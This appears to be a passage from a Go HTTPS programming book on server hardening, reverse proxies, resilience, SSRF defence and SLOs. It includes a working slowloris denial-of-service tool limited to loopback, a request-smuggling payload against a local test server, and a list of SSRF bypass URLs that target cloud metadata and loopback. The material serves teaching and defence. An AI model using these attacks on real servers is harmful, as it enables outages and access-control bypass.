	// Graceful shutdown: fail readiness, wait, drain, exit (TCP/IP guide Ch 57).
	ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGTERM, os.Interrupt)
	defer stop()
	<-ctx.Done()
	ready.Store(false)
	log.Info("draining")
	time.Sleep(2 * time.Second)
	sctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)
	defer cancel()
	srv.Shutdown(sctx)
	log.Info("stopped")
}

// securityHeaders sets the browser-side protections from Chapter 12 on every response.
func securityHeaders(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		h := w.Header()
		if r.TLS != nil { // HSTS is only meaningful (and only honoured) over HTTPS
			h.Set("Strict-Transport-Security", "max-age=63072000; includeSubDomains")
		}
		h.Set("Content-Security-Policy", "default-src 'self'; frame-ancestors 'none'; base-uri 'none'")
		h.Set("X-Content-Type-Options", "nosniff")
		h.Set("Referrer-Policy", "strict-origin-when-cross-origin")
		h.Set("Permissions-Policy", "camera=(), microphone=(), geolocation=()")
		next.ServeHTTP(w, r)
	})
}

type statusRecorder struct {
	http.ResponseWriter
	status int
}

func (s *statusRecorder) WriteHeader(code int) { s.status = code; s.ResponseWriter.WriteHeader(code) }

func logRequests(log *slog.Logger, next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		start := time.Now()
		rec := &statusRecorder{w, http.StatusOK}
		next.ServeHTTP(rec, r)
		log.Info("request", "method", r.Method, "path", r.URL.Path, "proto", r.Proto,
			"status", rec.status, "ms", time.Since(start).Milliseconds(), "remote", r.RemoteAddr)
	})
}

func tlsVersion(r *http.Request) string {
	if r.TLS == nil {
		return "no TLS"
	}
	return tls.VersionName(r.TLS.Version) + ", ALPN " + r.TLS.NegotiatedProtocol
}

func loadOrGenerate(certFile, keyFile string) (tls.Certificate, error) {
	if certFile != "" {
		return tls.LoadX509KeyPair(certFile, keyFile)
	}
	key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
	if err != nil {
		return tls.Certificate{}, err
	}
	serial, _ := rand.Int(rand.Reader, big.NewInt(1<<62))
	tmpl := &x509.Certificate{
		SerialNumber: serial,
		Subject:      pkix.Name{CommonName: "localhost"},
		DNSNames:     []string{"localhost"},
		IPAddresses:  []net.IP{net.ParseIP("127.0.0.1")},
		NotBefore:    time.Now().Add(-time.Hour),
		NotAfter:     time.Now().Add(30 * 24 * time.Hour),
		KeyUsage:     x509.KeyUsageDigitalSignature,
		ExtKeyUsage:  []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
	}
	der, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key)
	if err != nil {
		return tls.Certificate{}, err
	}
	return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}, nil
}

$ go run ./httpsserver -addr 127.0.0.1:9443 -redirect 127.0.0.1:9480 &
$ curl -sk -D - https://127.0.0.1:9443/
HTTP/2 200
content-security-policy: default-src 'self'; frame-ancestors 'none'; base-uri 'none'
permissions-policy: camera=(), microphone=(), geolocation=()
referrer-policy: strict-origin-when-cross-origin
strict-transport-security: max-age=63072000; includeSubDomains
x-content-type-options: nosniff
...
hello over HTTP/2.0 (TLS 1.3, ALPN h2)

$ curl -s -o /dev/null -w '%{http_code} -> %{redirect_url}\n' 'http://127.0.0.1:9480/x?y=1'
301 -> https://127.0.0.1:9443/x?y=1

$ kill -TERM %1
{"level":"INFO","msg":"draining"}
{"level":"INFO","msg":"stopped"}

// slowloris: a LOCAL-ONLY demonstration of why HTTP servers need timeouts.
// It opens many connections and sends request headers one slow line at a
// time, never finishing, so a server without a header timeout keeps every
// connection (and its goroutine/thread/memory) open indefinitely.
//
// It refuses to target anything but a loopback address. Use it only against
// servers you run yourself (Chapter 19's httpsserver).
//
//	go run ./slowloris -target 127.0.0.1:8080 -conns 200 -for 30s
package main

import (
	"flag"
	"fmt"
	"net"
	"os"
	"sync"
	"sync/atomic"
	"time"
)

func main() {
	target := flag.String("target", "127.0.0.1:8080", "loopback host:port of YOUR test server")
	conns := flag.Int("conns", 200, "connections to open")
	dur := flag.Duration("for", 30*time.Second, "how long to keep trying")
	every := flag.Duration("every", 3*time.Second, "delay between header lines")
	flag.Parse()

	host, _, err := net.SplitHostPort(*target)
	if ip := net.ParseIP(host); err != nil || ip == nil || !ip.IsLoopback() {
		fmt.Println("refusing: -target must be a loopback IP (127.0.0.1 or ::1) of a server you run")
		os.Exit(2)
	}

	var alive atomic.Int64
	var wg sync.WaitGroup
	deadline := time.Now().Add(*dur)
	for i := 0; i < *conns; i++ {
		wg.Add(1)
		go func() {
			defer wg.Done()
			c, err := net.DialTimeout("tcp", *target, 3*time.Second)
			if err != nil {
				return
			}
			defer c.Close()
			alive.Add(1)
			defer alive.Add(-1)
			fmt.Fprintf(c, "GET / HTTP/1.1\r\nHost: %s\r\n", host) // no blank line: never finished
			for n := 0; time.Now().Before(deadline); n++ {
				time.Sleep(*every)
				if _, err := fmt.Fprintf(c, "X-Slow-%d: keep-waiting\r\n", n); err != nil {
					return // the server hung up on us: its timeout worked
				}
			}
		}()
	}
	for t := time.Now(); time.Now().Before(deadline); time.Sleep(5 * time.Second) {
		fmt.Printf("t=%2.0fs  connections still held open by the server: %d/%d\n",
			time.Since(t).Seconds(), alive.Load(), *conns)
	}
	wg.Wait()
}

$ go run ./httpsserver -plain 127.0.0.1:9481 -no-timeouts &
$ go run ./slowloris -target 127.0.0.1:9481 -conns 200 -for 16s
t= 5s  connections still held open by the server: 200/200
t=10s  connections still held open by the server: 200/200
t=15s  connections still held open by the server: 200/200

$ go run ./httpsserver -plain 127.0.0.1:9482 &        # ReadHeaderTimeout = 5s
$ go run ./slowloris -target 127.0.0.1:9482 -conns 200 -for 16s
t= 5s  connections still held open by the server: 200/200
t=10s  connections still held open by the server: 0/200
t=15s  connections still held open by the server: 0/200

Chapter 20 — Reverse proxies in Go: the client's identity, framing, and request smuggling

X-Forwarded-For: 203.0.113.7, 10.0.1.15     (client, then each proxy that appended)
X-Forwarded-Proto: https
X-Forwarded-Host: shop.example.com
Forwarded: for=203.0.113.7;proto=https;host=shop.example.com   (the RFC 7239 standard form)

// revproxy: a path-routing reverse proxy, built to show the details that
// matter in production -- who the client is (X-Forwarded-*), hop-by-hop
// headers, upstream timeouts, and 502 vs 504.
//
//	go run ./revproxy -demo
package main

import (
	"context"
	"errors"
	"flag"
	"fmt"
	"io"
	"log"
	"net"
	"net/http"
	"net/http/httptest"
	"net/http/httputil"
	"net/url"
	"strings"
	"time"
)

type route struct {
	prefix string
	target *url.URL
}

// newProxy routes by path prefix, first match wins, so list longer prefixes
// first. Rewrite (Go 1.20+) is the safe API: the outgoing request starts
// WITHOUT the client's X-Forwarded-* headers, and SetXForwarded adds fresh
// ones from the real TCP peer.
func newProxy(routes []route) http.Handler {
	transport := &http.Transport{
		DialContext:           (&net.Dialer{Timeout: 2 * time.Second}).DialContext,
		ResponseHeaderTimeout: 2 * time.Second, // upstream must START answering in 2s
		IdleConnTimeout:       60 * time.Second,
		MaxIdleConnsPerHost:   64, // the default of 2 causes connection churn under load
	}
	return &httputil.ReverseProxy{
		Rewrite: func(pr *httputil.ProxyRequest) {
			for _, rt := range routes {
				if strings.HasPrefix(pr.In.URL.Path, rt.prefix) {
					pr.SetURL(rt.target)
					break
				}
			}
			pr.SetXForwarded() // X-Forwarded-For/Host/Proto from the TCP connection
		},
		Transport: transport,
		ErrorHandler: func(w http.ResponseWriter, r *http.Request, err error) {
			status := http.StatusBadGateway // 502: couldn't get a valid response
			if errors.Is(err, context.DeadlineExceeded) || isTimeout(err) {
				status = http.StatusGatewayTimeout // 504: upstream too slow
			}
			log.Printf("proxy %s %s -> %d: %v", r.Method, r.URL.Path, status, err)
			http.Error(w, http.StatusText(status), status)
		},
	}
}

func isTimeout(err error) bool {
	var ne net.Error
	return errors.As(err, &ne) && ne.Timeout()
}

// legacyProxy is the pre-Go-1.20 Director style, shown for contrast: it
// APPENDS to whatever X-Forwarded-For the client sent.
func legacyProxy(target *url.URL) http.Handler {
	return httputil.NewSingleHostReverseProxy(target)
}

func main() {
	demo := flag.Bool("demo", false, "run a scripted demo")
	flag.Parse()
	if !*demo {
		fmt.Println("run with -demo")
		return
	}
	log.SetFlags(0)

	echo := func(name string) *httptest.Server {
		return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
			if r.URL.Path == "/api/slow" {
				time.Sleep(3 * time.Second)
			}
			fmt.Fprintf(w, "%s saw path=%s XFF=%q Proto=%q Connection=%q",
				name, r.URL.Path, r.Header.Get("X-Forwarded-For"), r.Header.Get("X-Forwarded-Proto"), r.Header.Get("Connection"))
		}))
	}
	api, web := echo("api"), echo("web")
	defer api.Close()
	defer web.Close()
	apiURL, _ := url.Parse(api.URL)
	webURL, _ := url.Parse(web.URL)
	dead, _ := url.Parse("http://127.0.0.1:1") // nothing listens on port 1

	proxy := httptest.NewServer(newProxy([]route{{"/api/", apiURL}, {"/down/", dead}, {"/", webURL}}))
	defer proxy.Close()
	legacy := httptest.NewServer(legacyProxy(webURL))
	defer legacy.Close()

	get := func(label, base, path string, hdr map[string]string) {
		req, _ := http.NewRequest("GET", base+path, nil)
		for k, v := range hdr {
			req.Header.Set(k, v)
		}
		resp, err := http.DefaultClient.Do(req)
		if err != nil {
			fmt.Println(label, err)
			return
		}
		b, _ := io.ReadAll(resp.Body)
		resp.Body.Close()
		fmt.Printf("%-22s %d  %s\n", label, resp.StatusCode, strings.TrimSpace(string(b)))
	}
	spoof := map[string]string{"X-Forwarded-For": "6.6.6.6", "Connection": "X-Secret", "X-Secret": "hop"}

	get("route /api/users", proxy.URL, "/api/users", nil)
	get("route /index.html", proxy.URL, "/index.html", nil)
	get("spoofed XFF (Rewrite)", proxy.URL, "/", spoof)
	get("spoofed XFF (Director)", legacy.URL, "/", spoof)
	get("dead upstream", proxy.URL, "/down/x", nil)
	get("slow upstream", proxy.URL, "/api/slow", nil)
}

$ go run ./revproxy -demo
route /api/users       200  api saw path=/api/users XFF="127.0.0.1" Proto="http" Connection=""
route /index.html      200  web saw path=/index.html XFF="127.0.0.1" Proto="http" Connection=""
spoofed XFF (Rewrite)  200  web saw path=/ XFF="127.0.0.1" Proto="http" Connection=""
spoofed XFF (Director) 200  web saw path=/ XFF="6.6.6.6, 127.0.0.1" Proto="" Connection=""
proxy GET /down/x -> 502: dial tcp 127.0.0.1:1: connect: connection refused
dead upstream          502  Bad Gateway
proxy GET /api/slow -> 504: net/http: timeout awaiting response headers
slow upstream          504  Gateway Timeout

// desync: see HTTP request smuggling's root cause -- two parsers disagreeing
// about where a request ends. Self-contained: it only talks to a test server
// it starts itself.
//
//	go run ./desync
package main

import (
	"fmt"
	"io"
	"net"
	"net/http"
	"net/http/httptest"
	"strings"
	"time"
)

func main() {
	backend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "backend handled: %s %s\n", r.Method, r.URL.Path)
	}))
	defer backend.Close()

	// ONE message with BOTH framing headers. A front end that trusts
	// Content-Length (10 bytes: "0\r\n\r\nGET /") sees one POST whose body
	// ends mid-line. The backend follows RFC 9112 -- Transfer-Encoding wins --
	// so the body ends at the "0" chunk and everything after it is parsed as a
	// SECOND request the front end never inspected.
	msg := "POST /search HTTP/1.1\r\nHost: shop\r\n" +
		"Content-Length: 10\r\nTransfer-Encoding: chunked\r\n\r\n" +
		"0\r\n\r\n" +
		"GET /admin/delete-user HTTP/1.1\r\nHost: shop\r\n\r\n"

	c, err := net.Dial("tcp", strings.TrimPrefix(backend.URL, "http://"))
	if err != nil {
		panic(err)
	}
	defer c.Close()
	c.SetDeadline(time.Now().Add(2 * time.Second))
	io.WriteString(c, msg)
	out, _ := io.ReadAll(c)
	for _, line := range strings.Split(string(out), "\n") {
		if strings.HasPrefix(line, "HTTP/") || strings.HasPrefix(line, "backend") {
			fmt.Println(strings.TrimSpace(line))
		}
	}
	fmt.Println("\nOne message in, TWO requests handled. If a front end had checked only")
	fmt.Println("POST /search, then GET /admin/delete-user was smuggled past it.")
}

$ go run ./desync
HTTP/1.1 200 OK
backend handled: POST /search
HTTP/1.1 200 OK
backend handled: GET /admin/delete-user

One message in, TWO requests handled. If a front end had checked only
POST /search, then GET /admin/delete-user was smuggled past it.

Chapter 21 — Resilience between services: rate limits, retries, idempotency, and circuit breakers

// resilience: the four mechanisms that keep retries from becoming outages.
//
//	server: per-client token-bucket rate limiting (429 + Retry-After)
//	        Idempotency-Key handling (a retried POST never creates two orders)
//	client: retries with exponential backoff + full jitter, a retry budget,
//	        and a circuit breaker
//
//	go run ./resilience
package main

import (
	"crypto/rand"
	"encoding/hex"
	"errors"
	"fmt"
	"io"
	"math"
	mrand "math/rand/v2"
	"net/http"
	"net/http/httptest"
	"strconv"
	"sync"
	"sync/atomic"
	"time"
)

// ------------------------------------------------------------ server side --

// bucket is a token bucket: capacity `burst`, refilled at `rate` per second.
type bucket struct {
	tokens float64
	last   time.Time
}

type limiter struct {
	mu      sync.Mutex
	rate    float64
	burst   float64
	buckets map[string]*bucket
}

// allow reports whether the client may proceed, and if not, how long to wait.
func (l *limiter) allow(key string) (bool, time.Duration) {
	l.mu.Lock()
	defer l.mu.Unlock()
	now := time.Now()
	b := l.buckets[key]
	if b == nil {
		b = &bucket{tokens: l.burst, last: now}
		l.buckets[key] = b
	}
	b.tokens = math.Min(l.burst, b.tokens+now.Sub(b.last).Seconds()*l.rate)
	b.last = now
	if b.tokens >= 1 {
		b.tokens--
		return true, 0
	}
	return false, time.Duration((1 - b.tokens) / l.rate * float64(time.Second))
}

func rateLimit(l *limiter, next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		key := r.Header.Get("X-API-Key") // identity, not IP: NAT puts many users behind one IP
		if ok, wait := l.allow(key); !ok {
			w.Header().Set("Retry-After", strconv.Itoa(int(math.Ceil(wait.Seconds()))))
			http.Error(w, "slow down", http.StatusTooManyRequests)
			return
		}
		next.ServeHTTP(w, r)
	})
}

// orders is the "database". The idempotency key is recorded IN THE SAME
// TRANSACTION as the side effect, so a retry -- even one whose first attempt
// committed and then lost its response -- finds the existing order instead
// of creating a second one. (Caching HTTP responses is NOT enough: a request
// that committed and then failed has no successful response to cache.)
type orders struct {
	mu    sync.Mutex
	byKey map[string]int
	next  int
}

// create returns the order for this key, creating it only the first time.
func (o *orders) create(key string) (id int, replay bool) {
	o.mu.Lock() // production: INSERT ... ON CONFLICT (idempotency_key) DO NOTHING
	defer o.mu.Unlock()
	if id, ok := o.byKey[key]; ok {
		return id, true
	}
	o.next++
	o.byKey[key] = o.next
	return o.next, false
}

// ------------------------------------------------------------ client side --

type breaker struct {
	mu       sync.Mutex
	failures int
	openTill time.Time
}

var errOpen = errors.New("circuit open: failing fast without calling the server")

func (b *breaker) before() error {
	b.mu.Lock()
	defer b.mu.Unlock()
	if time.Now().Before(b.openTill) {
		return errOpen // OPEN: don't even try
	}
	return nil // CLOSED, or HALF-OPEN after the cool-down (one trial gets through)
}

func (b *breaker) after(ok bool) {
	b.mu.Lock()
	defer b.mu.Unlock()
	if ok {
		b.failures = 0
		return
	}
	b.failures++
	if b.failures >= 5 {
		b.openTill = time.Now().Add(2 * time.Second)
		b.failures = 0
	}
}

type client struct {
	http     *http.Client
	brk      breaker
	requests atomic.Int64
	retries  atomic.Int64
}

// budgetOK caps retries at 20% of first attempts: under a real outage,
// retries can't multiply the load by more than 1.2x.
func (c *client) budgetOK() bool {
	return float64(c.retries.Load()) < 0.2*float64(c.requests.Load())+5
}

func (c *client) post(url, key string) (string, error) {
	c.requests.Add(1)
	for attempt := 0; ; attempt++ {
		if err := c.brk.before(); err != nil {
			return "", err
		}
		req, _ := http.NewRequest("POST", url, nil)
		req.Header.Set("Idempotency-Key", key) // SAME key on every retry: that's the point
		req.Header.Set("X-API-Key", "team-a")
		resp, err := c.http.Do(req)
		var body []byte
		status := 0
		if err == nil {
			body, _ = io.ReadAll(resp.Body)
			resp.Body.Close()
			status = resp.StatusCode
		}
		c.brk.after(err == nil && status < 500)
		if err == nil && status < 300 {
			return string(body), nil
		}
		retryable := err != nil || status == 429 || status >= 500
		if !retryable || attempt == 3 || !c.budgetOK() {
			return "", fmt.Errorf("giving up after %d attempts (last status %d, err %v)", attempt+1, status, err)
		}
		c.retries.Add(1)
		// Exponential backoff with FULL jitter: random in [0, base*2^attempt].
		// Jitter spreads retries out so clients don't retry in lockstep.
		backoff := time.Duration(mrand.Int64N(int64(50*time.Millisecond) << attempt))
		if status == 429 && resp.Header.Get("Retry-After") != "" {
			s, _ := strconv.Atoi(resp.Header.Get("Retry-After"))
			backoff = max(backoff, time.Duration(s)*time.Second)
		}
		time.Sleep(backoff)
	}
}

func newKey() string {
	b := make([]byte, 8)
	rand.Read(b)
	return hex.EncodeToString(b)
}

// ------------------------------------------------------------------- demo --

func main() {
	db := &orders{byKey: map[string]int{}}
	var down atomic.Bool
	flaky := func(w http.ResponseWriter, r *http.Request) {
		if down.Load() {
			http.Error(w, "down", http.StatusServiceUnavailable)
			return
		}
		key := r.Header.Get("Idempotency-Key")
		if key == "" {
			http.Error(w, "Idempotency-Key required", http.StatusBadRequest)
			return
		}
		id, replay := db.create(key) // the side effect, deduplicated by key
		if !replay && mrand.Float64() < 0.3 {
			// The order WAS created, but the response is lost -- the worst case for retries.
			http.Error(w, "oops after commit", http.StatusInternalServerError)
			return
		}
		w.WriteHeader(http.StatusCreated)
		fmt.Fprintf(w, "order %d", id)
	}
	lim := &limiter{rate: 50, burst: 20, buckets: map[string]*bucket{}}
	mux := http.NewServeMux()
	mux.HandleFunc("POST /orders", flaky)
	srv := httptest.NewServer(rateLimit(lim, mux))
	defer srv.Close()

	c := &client{http: &http.Client{Timeout: 2 * time.Second}}
	ok, failed := 0, 0
	for i := 0; i < 40; i++ {
		if _, err := c.post(srv.URL+"/orders", newKey()); err != nil {
			failed++
		} else {
			ok++
		}
	}
	db.mu.Lock()
	n := db.next
	db.mu.Unlock()
	fmt.Printf("phase 1, flaky server (30%% of first attempts fail AFTER committing):\n")
	fmt.Printf("  40 distinct orders sent, %d confirmed, %d gave up, %d retries\n", ok, failed, c.retries.Load())
	fmt.Printf("  orders in the database: %d  <- never more than 40: no duplicates\n", n)

	// Same idempotency key twice: the server replays the first answer.
	key := newKey()
	for {
		if a, err := c.post(srv.URL+"/orders", key); err == nil {
			b, _ := c.post(srv.URL+"/orders", key)
			fmt.Printf("\nsame key sent twice: %q then %q -> one order, two identical answers\n", a, b)
			break
		}
	}

	down.Store(true)
	start := time.Now()
	fast := 0
	for i := 0; i < 20; i++ {
		if _, err := c.post(srv.URL+"/orders", newKey()); errors.Is(err, errOpen) {
			fast++
		}
	}
	fmt.Printf("\nphase 2, server down: %d of 20 calls failed fast with the breaker open (%v total)\n",
		fast, time.Since(start).Round(time.Millisecond))
}

$ go run ./resilience
phase 1, flaky server (30% of first attempts fail AFTER committing):
  40 distinct orders sent, 38 confirmed, 2 gave up, 12 retries
  orders in the database: 40  <- never more than 40: no duplicates

same key sent twice: "order 41" then "order 41" -> one order, two identical answers

phase 2, server down: 17 of 20 calls failed fast with the breaker open (1.141s total)

Chapter 22 — Outbound requests: SSRF and safe HTTP clients

http://169.254.169.254/              the obvious one
http://[::ffff:7f00:1]/              127.0.0.1 as an IPv4-mapped IPv6 address
http://0.0.0.0:6379/                 "any address" reaches local services on many OSes
http://localtest.me/                 a PUBLIC DNS name that resolves to 127.0.0.1
http://attacker.example/             resolves to a public IP at check time, 127.0.0.1 at fetch time (DNS rebinding)
https://public.example/redirect      a 302 to http://169.254.169.254/

// ssrfguard: an HTTP client that is safe to point at user-supplied URLs.
//
// Server-side request forgery (SSRF): your server fetches a URL a user gave
// you (webhooks, link previews, image import) and the user gives you
// http://169.254.169.254/ (cloud metadata credentials) or http://localhost:6379/.
// Checking the URL STRING is not enough -- DNS names, redirects, and odd IP
// spellings get around it. Check the IP address at the moment of connecting.
//
//	go run ./ssrfguard
package main

import (
	"context"
	"errors"
	"fmt"
	"net"
	"net/http"
	"net/http/httptest"
	"net/netip"
	"strings"
	"syscall"
	"time"
)

var errBlocked = errors.New("blocked: destination is not a public address")

// publicOnly runs AFTER DNS resolution and BEFORE connect(), for every
// connection the client makes -- including each redirect hop. `address` is
// the literal IP:port being dialled, so there is nothing left to trick.
func publicOnly(network, address string, _ syscall.RawConn) error {
	ap, err := netip.ParseAddrPort(address)
	if err != nil {
		return errBlocked
	}
	ip := ap.Addr().Unmap() // ::ffff:127.0.0.1 is 127.0.0.1
	switch {
	case ip.IsLoopback(), ip.IsPrivate(), ip.IsLinkLocalUnicast(), // 127/8, 10/8, 172.16/12, 192.168/16, fc00::/7, 169.254/16
		ip.IsLinkLocalMulticast(), ip.IsInterfaceLocalMulticast(), ip.IsMulticast(),
		ip.IsUnspecified(), // 0.0.0.0 reaches localhost on many systems
		cgnat.Contains(ip):
		return fmt.Errorf("%w (%s)", errBlocked, ip)
	}
	if ap.Port() != 80 && ap.Port() != 443 {
		return fmt.Errorf("%w (port %d)", errBlocked, ap.Port())
	}
	return nil
}

var cgnat = netip.MustParsePrefix("100.64.0.0/10")

func safeClient() *http.Client {
	dialer := &net.Dialer{Timeout: 3 * time.Second, Control: publicOnly}
	return &http.Client{
		Timeout: 5 * time.Second,
		Transport: &http.Transport{
			DialContext: dialer.DialContext,
			Proxy:       nil, // an environment proxy would dial on our behalf, bypassing the check
		},
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			if len(via) >= 3 {
				return errors.New("too many redirects")
			}
			return nil // each hop is dialled through publicOnly again
		},
	}
}

// naiveCheck is what people write first. Every line of the demo defeats it.
func naiveCheck(raw string) bool {
	for _, bad := range []string{"localhost", "127.0.0.1", "169.254.169.254", "10.", "192.168."} {
		if strings.Contains(raw, bad) {
			return false
		}
	}
	return true
}

func main() {
	internal := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprint(w, "SECRET internal admin data")
	}))
	defer internal.Close()
	_, port, _ := net.SplitHostPort(strings.TrimPrefix(internal.URL, "http://"))

	tests := []string{
		"https://example.com/",                     // fine
		"http://169.254.169.254/latest/meta-data/", // cloud metadata endpoint
		"http://[::ffff:7f00:1]:" + port + "/",     // 127.0.0.1, spelled as IPv4-mapped IPv6
		"http://0.0.0.0:" + port + "/",             // "any" address reaches local services
		"http://localtest.me:" + port + "/",        // a public DNS name that resolves to 127.0.0.1
		// A public URL that REDIRECTS to the metadata service (URL-encoded, so
		// the string check can't see it). The first hop is allowed; the second is not.
		"https://httpbin.org/redirect-to?url=http%3A%2F%2F%31%36%39.254.169.254%2F",
	}
	c := safeClient()
	for _, u := range tests {
		ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
		req, _ := http.NewRequestWithContext(ctx, "GET", u, nil)
		resp, err := c.Do(req)
		cancel()
		verdict := "ALLOWED"
		if err != nil {
			verdict = "BLOCKED"
			if !errors.Is(err, errBlocked) {
				verdict = "ERROR  "
			}
		} else {
			resp.Body.Close()
		}
		short := u
		if len(short) > 46 {
			short = short[:46] + "..."
		}
		fmt.Printf("%-50s naive=%-5v  guarded=%s", short, naiveCheck(u), verdict)
		if err != nil {
			msg := err.Error()
			if i := strings.Index(msg, "blocked:"); i >= 0 {
				msg = msg[i:]
			}
			fmt.Printf("  (%s)", msg)
		}
		fmt.Println()
	}
}

$ go run ./ssrfguard
https://example.com/                               naive=true   guarded=ALLOWED
http://169.254.169.254/latest/meta-data/           naive=false  guarded=BLOCKED  (blocked: destination is not a public address (169.254.169.254))
http://[::ffff:7f00:1]:57786/                      naive=true   guarded=BLOCKED  (blocked: destination is not a public address (127.0.0.1))
http://0.0.0.0:57786/                              naive=true   guarded=BLOCKED  (blocked: destination is not a public address (0.0.0.0))
http://localtest.me:57786/                         naive=true   guarded=BLOCKED  (blocked: destination is not a public address (::1))
https://httpbin.org/redirect-to?url=http%3A%2F...  naive=true   guarded=BLOCKED  (blocked: destination is not a public address (169.254.169.254))

Chapter 23 — SLIs, SLOs, and error budgets for HTTPS services

availability SLI = requests that were not 5xx          / all requests
latency SLI      = requests answered in under 300 ms   / all requests

// slo: SLIs, an SLO, an error budget, and multi-window burn-rate alerts --
// the way Google's SRE Workbook recommends alerting on them.
//
// The tracker counts good/total events in one-minute buckets. A real service
// feeds it from HTTP middleware (see Middleware); the demo replays 30 days of
// synthetic traffic with a simulated clock so you can watch alerts fire.
//
//	go run ./slo
package main

import (
	"fmt"
	"net/http"
	"time"
)

const (
	objective = 0.999 // 99.9% of requests good over 30 days
	window    = 30 * 24 * time.Hour
)

type bucket struct{ good, total int64 }

type tracker struct {
	buckets map[int64]*bucket // unix minute -> counts
	now     func() time.Time
}

func newTracker(now func() time.Time) *tracker {
	return &tracker{buckets: map[int64]*bucket{}, now: now}
}

// Record is one event: good means "fast enough AND not a server error".
func (t *tracker) Record(good bool) {
	m := t.now().Unix() / 60
	b := t.buckets[m]
	if b == nil {
		b = &bucket{}
		t.buckets[m] = b
	}
	b.total++
	if good {
		b.good++
	}
}

// sli = good / total over the trailing duration d.
func (t *tracker) sli(d time.Duration) (sli float64, total int64) {
	end := t.now().Unix() / 60
	var good int64
	for m := end - int64(d/time.Minute) + 1; m <= end; m++ {
		if b := t.buckets[m]; b != nil {
			good += b.good
			total += b.total
		}
	}
	if total == 0 {
		return 1, 0
	}
	return float64(good) / float64(total), total
}

// burnRate: how fast we are spending the error budget. 1.0 = exactly on pace
// to use 100% of the budget in 30 days; 14.4 = the whole budget in ~2 days.
func (t *tracker) burnRate(d time.Duration) float64 {
	s, _ := t.sli(d)
	return (1 - s) / (1 - objective)
}

func (t *tracker) budgetRemaining() float64 {
	s, total := t.sli(window)
	allowed := (1 - objective) * float64(total)
	bad := (1 - s) * float64(total)
	if allowed == 0 {
		return 1
	}
	return 1 - bad/allowed
}

// alert implements the multi-window, multi-burn-rate policy: a long window
// proves the problem is significant, a short window proves it is STILL
// happening (so alerts stop soon after recovery).
func (t *tracker) alert() string {
	switch {
	case t.burnRate(time.Hour) > 14.4 && t.burnRate(5*time.Minute) > 14.4:
		return "PAGE   (2% of the monthly budget burned in 1h)"
	case t.burnRate(6*time.Hour) > 6 && t.burnRate(30*time.Minute) > 6:
		return "PAGE   (5% of the budget burned in 6h)"
	case t.burnRate(3*24*time.Hour) > 1 && t.burnRate(6*time.Hour) > 1:
		return "TICKET (on pace to miss the SLO this month)"
	}
	return "ok"
}

// Middleware turns real traffic into SLI events: 5xx = bad, slower than
// `slow` = bad (a latency SLI), everything else = good. 4xx are the
// client's fault and count as good.
func (t *tracker) Middleware(slow time.Duration, next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		start := time.Now()
		rec := &status{ResponseWriter: w, code: 200}
		next.ServeHTTP(rec, r)
		t.Record(rec.code < 500 && time.Since(start) < slow)
	})
}

type status struct {
	http.ResponseWriter
	code int
}

func (s *status) WriteHeader(c int) { s.code = c; s.ResponseWriter.WriteHeader(c) }

// ------------------------------------------------------------------ demo --

func main() {
	clock := time.Date(2026, 9, 1, 0, 0, 0, 0, time.UTC)
	t := newTracker(func() time.Time { return clock })

	// 600 requests/minute. Baseline: 0.02% bad. Two incidents:
	//   day 20, 14:00-14:30  hard outage, 20% of requests fail
	//   day 25 onwards       slow leak, 0.25% bad (2.5x the allowed rate)
	errRate := func(c time.Time) float64 {
		day := c.Sub(time.Date(2026, 9, 1, 0, 0, 0, 0, time.UTC)).Hours() / 24
		switch {
		case day >= 19 && day < 20 && c.Hour() == 14 && c.Minute() < 30:
			return 0.20
		case day >= 24:
			return 0.0025
		}
		return 0.0002
	}
	report := func(label string) {
		s, _ := t.sli(window)
		fmt.Printf("%-34s 30d SLI=%.4f%%  budget left=%6.1f%%  burn 1h=%5.1f 6h=%5.1f  -> %s\n",
			label, s*100, t.budgetRemaining()*100, t.burnRate(time.Hour), t.burnRate(6*time.Hour), t.alert())
	}
	var acc float64
	step := func(minutes int) {
		for i := 0; i < minutes; i++ {
			clock = clock.Add(time.Minute)
			for r := 0; r < 600; r++ {
				acc += errRate(clock) // deterministic: exactly errRate of requests fail
				bad := acc >= 1
				if bad {
					acc--
				}
				t.Record(!bad)
			}
		}
	}

	step(19*24*60 + 14*60 + 5) // up to day 20, 14:05
	report("day 20 14:05 (outage, 5 min in)")
	step(10)
	report("day 20 14:15 (outage ongoing)")
	step(45)
	report("day 20 15:00 (30 min after fix)")
	step(4*24*60 + 9*60)
	report("day 25 00:00 (slow leak begins)")
	step(3 * 24 * 60)
	report("day 28 00:00 (leak for 3 days)")
	step(2*24*60 + 23*60)
	report("day 30 23:00 (month end)")
}

$ go run ./slo
day 20 14:05 (outage, 5 min in)    30d SLI=99.9758%  budget left=  75.8%  burn 1h= 20.2 6h=  3.5  -> PAGE   (2% of the monthly budget burned in 1h)
day 20 14:15 (outage ongoing)      30d SLI=99.9687%  budget left=  68.7%  burn 1h= 53.5 6h=  9.1  -> PAGE   (2% of the monthly budget burned in 1h)
day 20 15:00 (30 min after fix)    30d SLI=99.9588%  budget left=  58.8%  burn 1h= 96.8 6h= 16.9  -> TICKET (on pace to miss the SLO this month)
day 25 00:00 (slow leak begins)    30d SLI=99.9627%  budget left=  62.7%  burn 1h=  0.2 6h=  0.2  -> ok
day 28 00:00 (leak for 3 days)     30d SLI=99.9390%  budget left=  39.0%  burn 1h=  2.5 6h=  2.5  -> TICKET (on pace to miss the SLO this month)
day 30 23:00 (month end)           30d SLI=99.9204%  budget left=  20.4%  burn 1h=  2.5 6h=  2.5  -> TICKET (on pace to miss the SLO this month)

